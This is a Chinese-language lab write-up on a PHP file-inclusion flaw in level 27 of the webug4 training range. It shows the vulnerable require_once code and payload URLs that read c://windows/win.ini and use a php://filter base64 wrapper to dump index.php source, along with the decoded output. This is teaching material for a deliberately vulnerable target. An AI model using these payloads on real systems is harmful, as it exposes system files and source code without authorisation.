目錄
一、文件包含
1、原理分析
2、文件包含函數
(1)include( )
(2)include_once( )
(3)require( )
(4)require_once( )
二、第27關滲透實戰
1、打開靶場
2、源碼分析
3、滲透實戰
(1)查看敏感信息
(2)查看源碼
本文通過《webug4靶場第27關 文件包含》來進行文件包含攻擊滲透實戰。
一、文件包含
1、原理分析
文件包含漏 洞的產生原因是在通過引入文件時,由于傳入的文件名沒有經過合理的校驗,或者校檢被繞過,從而操作了預想之外的文件,就可能導致意外的文件泄露甚至惡意的代碼注入。這是因為Web應用在開發的過程中允許包含外部文件,如 PHP 中的include()、require()等函數,當這些函數使用用戶可控的參數來指定包含的文件路徑時,如果應用程序沒有對用戶輸入進行充分的驗證和過濾,就可能導致文件包含攻擊。攻擊者通過構造惡意的文件路徑,使得通過文件包含攻擊執行惡意文件,從而達到執行任意代碼、獲取敏感信息等目的。
- 當被包含的文件在服務器本地時,就形成的本地文件包含。
- 當被包含的文件在遠程服務器時,就形成的遠程文件包含。
2、文件包含函數
PHP中提供了四個文件包含的函數
(1)include( )
include() 當代碼執行到include()函數時才將文件包含進行,發生錯誤時會給出一個告警,程序繼續往下執行。
(2)include_once( )
include_once() 功能與include()相同,區別在于當重復調用一個文件時,程序只調用一次。
(3)require( )
require() 與include()函數區別在于require()執行如果發生錯誤,函數會輸出錯誤信息,并終止程序運行。
(4)require_once( )
require_once() 功能與require()相同,區別在于當重復調用同一個文件時,程序只調用一次。
二、第27關滲透實戰
1、打開靶場
本關卡與前面的任意文件下載類似,都是對文件名沒有進行過濾,如下所示打開靶場第27關。
http://192.168.71.1/webug4/control/more/file_include.php?filename=../../template/dom_xss.html
2、源碼分析
查看webug靶場第27關的index.php源碼,如下所示對filename參數沒進行任何過濾,存在require_once函數對filename的調用,故而具有文件包含風險,很明顯產生的根本原因是源碼對用戶GET型輸入參數filename的信任度過高,沒有對包含文件的路徑進行嚴格的驗證和過濾,導致攻擊者能夠操縱文件包含過程,實現惡意目的。
<?phprequire_once "../../common/common.php";
if (!isset($_SESSION['user'])) {header("Location:../login.php");
}if (isset($_GET["filename"])) {if (!empty($_GET["filename"])) {$path = $_GET['filename'];require_once $path;}
}
3、滲透實戰
(1)查看敏感信息
通過使用如下命令查看敏感文件。
?filename=c://windows/win.ini
完整的URL地址如下所示。?
http://192.168.71.1/webug4/control/more/file_include.php?filename=c://windows/win.ini
(2)查看源碼
使用php://filter/read=convert.base64-encode/resource=偽協議進行滲透,注入語句如下所示。
filename=php://filter/read=convert.base64-encode/resource=../../index.php
完整的URL如下所示。?
http://192.168.71.1/webug4/control/more/file_include.php?filename=php://filter/read=convert.base64-encode/resource=../../index.php
獲取到的base64編碼為
PD9waHANCi8qKg0KICogQ3JlYXRlZCBieSBQaHBTdG9ybS4NCg0KDQoyMTo1Mg0KICovDQpyZXF1aXJlX29uY2UgImNvbW1vbi9jb21tb24ucGhwIjsNCg0KDQppZiAoaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKSB7DQogICAgaGVhZGVyKCJMb2NhdGlvbjouL2NvbnRyb2wvd2VfYnVnX2Vudi5waHAiKTsNCn0gZWxzZXsNCiAgICBoZWFkZXIoIkxvY2F0aW9uOi4vY29udHJvbC9sb2dpbi5waHAiKTsNCn0=
接下來進行base64解碼,可以使用base64在線解碼工具
Base64 在線編碼解碼 | Base64 加密解密 - Base64.us
解碼后的結果如下所示,成功獲取到index.php網站的源碼。
<?php
/*** Created by PhpStorm.21:52*/
require_once "common/common.php";if (isset($_SESSION['user'])) {header("Location:./control/we_bug_env.php");
} else{header("Location:./control/login.php");
}